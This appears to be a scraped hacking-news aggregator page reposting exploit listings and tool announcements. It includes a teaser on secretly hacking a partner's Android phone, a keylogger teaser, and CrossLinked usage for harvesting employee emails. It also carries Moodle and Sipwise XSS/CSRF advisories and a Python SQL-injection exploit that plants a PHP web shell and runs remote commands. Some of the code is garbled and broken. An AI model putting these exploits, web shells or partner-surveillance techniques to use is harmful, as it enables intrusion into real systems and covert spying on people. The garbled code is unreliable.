Hacking on Medium
Make a keylogger using the ZLogger tool

https://cdn-images-1.medium.com/max/1531/1*VusgPQYVM3gwwVtM3X0ZtA.png
Keyloggers are a form of monitoring software that records a user’s keystrokes. These keystroke loggers, one of the oldest types of cyber…

Continue reading on Purple TEAM »

Hacking on Medium
How to Hack GF/BF/Wife/Husband Android Mobile Phone?

https://cdn-images-1.medium.com/max/600/1*ojxTIHT0NSdvY24-fiLJHQ.jpeg
Hack an android phone with an SMS but you can make a webpage that has auto-download enabled. Because maximum people do not download…

Continue reading on Medium »

Hacking on Medium
Antel has been exposing the exact location from millions of users for at least 13 years!

https://cdn-images-1.medium.com/max/600/0*op4YQ8DEjy_gJY35.jpeg
Hello network, how are you doing? I hope well!

Continue reading on strike.sh »

CrossLinked - LinkedIn Enumeration Tool To Extract Valid Employee Names From An Organization Through Search Engine Scraping

CrossLinked is a LinkedIn enumeration tool that uses search engine scraping to collect valid employee names from a target organization. This technique provides accurate results without the use of API keys, credentials, or even accessing the site directly. Formats can then be applied in the command line arguments to turn these names into email addresses, domain accounts, and more. For a full breakdown of the tool and example output, checkout: https://m8r0wn.com/posts/2021/01/crosslinked.htmlSetup git clone https://github.com/m8r0wn/crosslinkedcd crosslinkedpip3 install -r requirements.txt Examples Results are written to a 'names.txt' file in the current directory unless specified in the command line arguments. See the Usage section for additional options. python3 crosslinked.py -f '{first}.{last}@domain.com' company_name python3 crosslinked.py -f 'domain\{f}{last}' -t 45 -j 1 company_name Usage positional arguments: company_name Target company nameoptional arguments: -h, --help show this help message and exit -t TIMEOUT Max timeout per search (Default=20, 0=None) -j JITTER Jitter between requests (Default=0) -v Show names and titles recovered after enumerationSearch arguments: -H HEADER Add Header ('name1=value1;name2=value2;') --search ENGINE Search Engine (Default='google,bing') --safe Only parse names with company in title (Reduces false positives)Output arguments: -f NFORMAT Format names, ex: 'domain\{f}{last}', '{first}.{last}@domain.com' -o OUTFILE Change name of output file (default=names.txtProxy arguments: --proxy PROXY Proxy requests (IP:Port) --proxy-file PROXY Load proxies from file for rotation Proxy Support The latest version of CrossLinked provides proxy support through the Taser library. Users can mask their traffic with a single proxy by adding --proxy 127.0.0.1:8080 to the command line arguments, or use --proxy-file proxies.txt for rotating source addresses. http/https proxies can be added in IP:PORT notation, while SOCKS requires a socks4:// or socks5:// prefix. Download CrossLinked
Read more...

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

KitPloit - PenTest Tools!
CrossLinked - LinkedIn Enumeration Tool To Extract Valid Employee Names From An Organization Through Search Engine Scraping

https://1.bp.blogspot.com/-EeY-SOLjvZg/YH5jp5fEezI/AAAAAAAAV6o/MAWhpyjnQZ0KWw_ZfWPOZ1_ADFcNPvNrwCNcBGAsYHQ/s16000/CrossLinked_5.png
CrossLinked is a LinkedIn enumeration tool that uses search engine scraping to collect valid employee names from a target organization. This technique provides accurate results without the use of API keys, credentials, or even accessing the site directly. Formats can then be applied in the command line arguments to turn these names into email addresses, domain accounts, and more.

For a full breakdown of the tool and example output, checkout:
https://m8r0wn.com/posts/2021/01/crosslinked.html
Setup

git clone https://github.com/m8r0wn/crosslinked
cd crosslinked
pip3 install -r requirements.txt

Examples

Results are written to a 'names.txt' file in the current directory unless specified in the command line arguments. See the Usage section for additional options.

python3 crosslinked.py -f '{first}.{last}@domain.com' company_name

python3 crosslinked.py -f 'domain\{f}{last}' -t 45 -j 1 company_name

Usage
positional arguments:
company_name Target company name

optional arguments:
-h, --help show this help message and exit
-t TIMEOUT Max timeout per search (Default=20, 0=None)
-j JITTER Jitter between requests (Default=0)
-v Show names and titles recovered after enumeration

Search arguments:
-H HEADER Add Header ('name1=value1;name2=value2;')
--search ENGINE Search Engine (Default='google,bing')
--safe Only parse names with company in title (Reduces false positives)

Output arguments:
-f NFORMAT Format names, ex: 'domain\{f}{last}', '{first}.{last}@domain.com'
-o OUTFILE Change name of output file (default=names.txt

Proxy arguments:
--proxy PROXY Proxy requests (IP:Port)
--proxy-file PROXY Load proxies from file for rotation

Proxy Support

The latest version of CrossLinked provides proxy support through the Taser library. Users can mask their traffic with a single proxy by adding --proxy 127.0.0.1:8080to the command line arguments, or use --proxy-file proxies.txtfor rotating source addresses.

http/httpsproxies can be added in IP:PORTnotation, while SOCKS requires a socks4://or socks5://prefix.
Download CrossLinked

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exhausting Google map API key quota by bypassing restrictions

Hey everyone hope you all are doing well during these tough time!Continue reading on Medium »
Read more...

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exploit Collector
Moodle 3.10.3 Cross Site Scripting

https://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png
Moodle version 3.10.3 suffers from a persistent cross site scripting vulnerability. Original discovery of persistent cross site scripting in this version is attributed to Vincent666 ibn Winnie in March of 2021.

MD5 | 702e13c9737c10b10cd2c43d2d24ce46

Download
# Exploit Title: Moodle 3.10.3 - 'url' Persistent Cross Site Scripting
# Date: 22/04/2021
# Exploit Author: UVision
# Vendor Homepage: https://moodle.org/
# Software Link: https://download.moodle.org
# Version: 3.10.3
# Tested on: Debian/Windows 10

By having the role of a teacher or an administrator or a manager (to have the possibility to create a course):

- Create a new course (http://localhost/moodle/course/edit.php?category=1&returnto=topcat)
- Give any name , short name, date and other things required.
- In "Description" field, click on the "link" button
- In the url field, enter the payload : 1
- Create the link, an alert window appears (close it several times so that it disappears) , save the course. ("Save and return")

Each time the course description is displayed, the stored xss is activated : activate it by viewing the course, by modifying it, etc.


Source:packetstormsecurity.com

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exploit Collector
DzzOffice 2.02.1 Cross Site Scripting

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exploit Collector
Sipwise C5 NGCP CSC Cross Site Scripting

https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
Sipwise software platform suffers from multiple authenticated stored and reflected cross site scripting vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Versions affected include CE_m39.3.1 and below and NGCP www_admin version 3.6.7.

MD5 | e8a251a6a3bb2fbde253ad48c129475c

Download

Sipwise C5 NGCP CSC Multiple Stored/Reflected XSS Vulnerabilities
Vendor: Sipwise GmbH
Product web page: https://www.sipwise.com
Affected version:
NGCP www_admin version 3.6.7

Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide
rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,
conferencing etc.) that can be configured by end users in the self-care web interface.
For operators, it offers a web-based administrative panel that allows them to configure
subscribers, SIP peerings, billing profiles, and other entities. The administrative web
panel also shows the real-time statistics for the whole system. For tight integration
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Desc: Sipwise software platform suffers from multiple authenticated stored and reflected
cross-site scripting vulnerabilities when input passed via several parameters to several
scripts is not properly sanitized before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in context of an
affected site.

Tested on: Apache/2.2.22 (Debian)
Apache/2.2.16 (Debian)
nginx
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5648
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5648.php

CVE ID: CVE-2021-31583
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31583
13.04.2021

--
Stored XSS (POST tsetname):
---------------------------
" />
Reflected XSS (GET filter):
---------------------------
Stored XSS (POST firstname, lastname, company):
-----------------------------------------------
Reflected XSS (GET lang):
-------------------------

Source:packetstormsecurity.com

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exploit Collector
GetSimple CMS My SMTP Contact 1.1.1 CSRF/ XSS / Code Execution

___________________________

@hacking_Attack

@Hacking_Video
___________________________

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exploit Collector
Sipwise C5 NGCP CSC Cross Site Request Forgery

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
The Sipwise application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Versions affected include CE_m39.3.1 and below and NGCP www_admin version 3.6.7.

MD5 | e7d898fb2b62a3d6bc51dbf8df132928

Download

Sipwise C5 NGCP CSC CSRF Click2Dial Exploit
Vendor: Sipwise GmbH
Product web page: https://www.sipwise.com
Affected version:
NGCP www_admin version 3.6.7

Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide
rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,
conferencing etc.) that can be configured by end users in the self-care web interface.
For operators, it offers a web-based administrative panel that allows them to configure
subscribers, SIP peerings, billing profiles, and other entities. The administrative web
panel also shows the real-time statistics for the whole system. For tight integration
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: Apache/2.2.22 (Debian)
Apache/2.2.16 (Debian)
nginx
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5649
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5649.php

CVE ID: CVE-2021-31584
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31584
13.04.2021

--

Source:packetstormsecurity.com

___________________________

@hacking_Attack

@Hacking_Video
___________________________

Exploit Collector
Document Management System 1.0 SQL Injection / Remote Code Execution

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
Document Management System version 1.0 remote SQL injection exploit that deploys a web shell.

MD5 | ce95bb6aee806602e2a432244244b16a

Download
# Exploit Title: Document Management System - SQL Injection to RCE (webshell)
# Date: 23/04/21
# Exploit Author: Richard Jones
# Vendor Homepage: https://www.sourcecodester.com/php/7652/document-management-system.html
# Version: 1.0
# Tested on: Windows 10 build 19041 + xampp 3.2.4

#!/usr/bin/python3
import requests
import sys
import urllib.parse
import time

URL=f"http://TARGET/doc_system/docsytems/" # Change URL
SAVEPATH="c:/xampp/htdocs/" #Change to webfolder root (ie: /var/www/html on unix)

HOSTNAME=urllib.parse.urlparse(f"{URL}").netloc
PHPPAYLOAD="3c3f7068702073797374656d28245f4745545b2763275d293b203f3e" #_______ /|___| /\___ >____/____/
\/ \/ \/ \/ \/ \/
Created by: Richard Jones
Date: 23/04/2021
Type: Webshell (sql injection)
"""

def checkTarget():
r = s.get(f"{URL}//View/download.php")
if r.status_code == 200:
return True

def sendPayload():
r = s.get(f"{URL}//View/download.php?id={PAYLOAD}")
if not r.status_code == 200:
print("Error in URL!, Check the URL again.")
sys.exit()

def checkShell():
r = s.get(f"http://{HOSTNAME}/xythif42taA.php")
if r.status_code == 200:
return True
else:
return False

def runWebShell():
while True:
cmd=input(f"{R}" + "DMsShell: " + f"{RS}")
if cmd == "exit":
sys.exit()
r = s.get(f"http://{HOSTNAME}/xythif42taA.php?c={cmd}")
print(r.text.split("")[1])

print(f"{CY}" + banner() + f"{RS}")
print(f"{W}" + "[-] Checking Target" + f"{RS}")
if not checkTarget():
print(f"{R}"+"[!] Can't access download.php in target, check the URL" + f"{RS}")
sys.exit()
else:
print(f"{G}"+"[+] TARGET is alive!" + f"{RS}")
sendPayload()
if checkShell():
print(f"{G}"+"[+] SHELL Acitvating!" + f"{RS}")
time.sleep(1)
runWebShell()

if __name__ == "__main__":
main()

Source:packetstormsecurity.com

___________________________

@hacking_Attack

@Hacking_Video
___________________________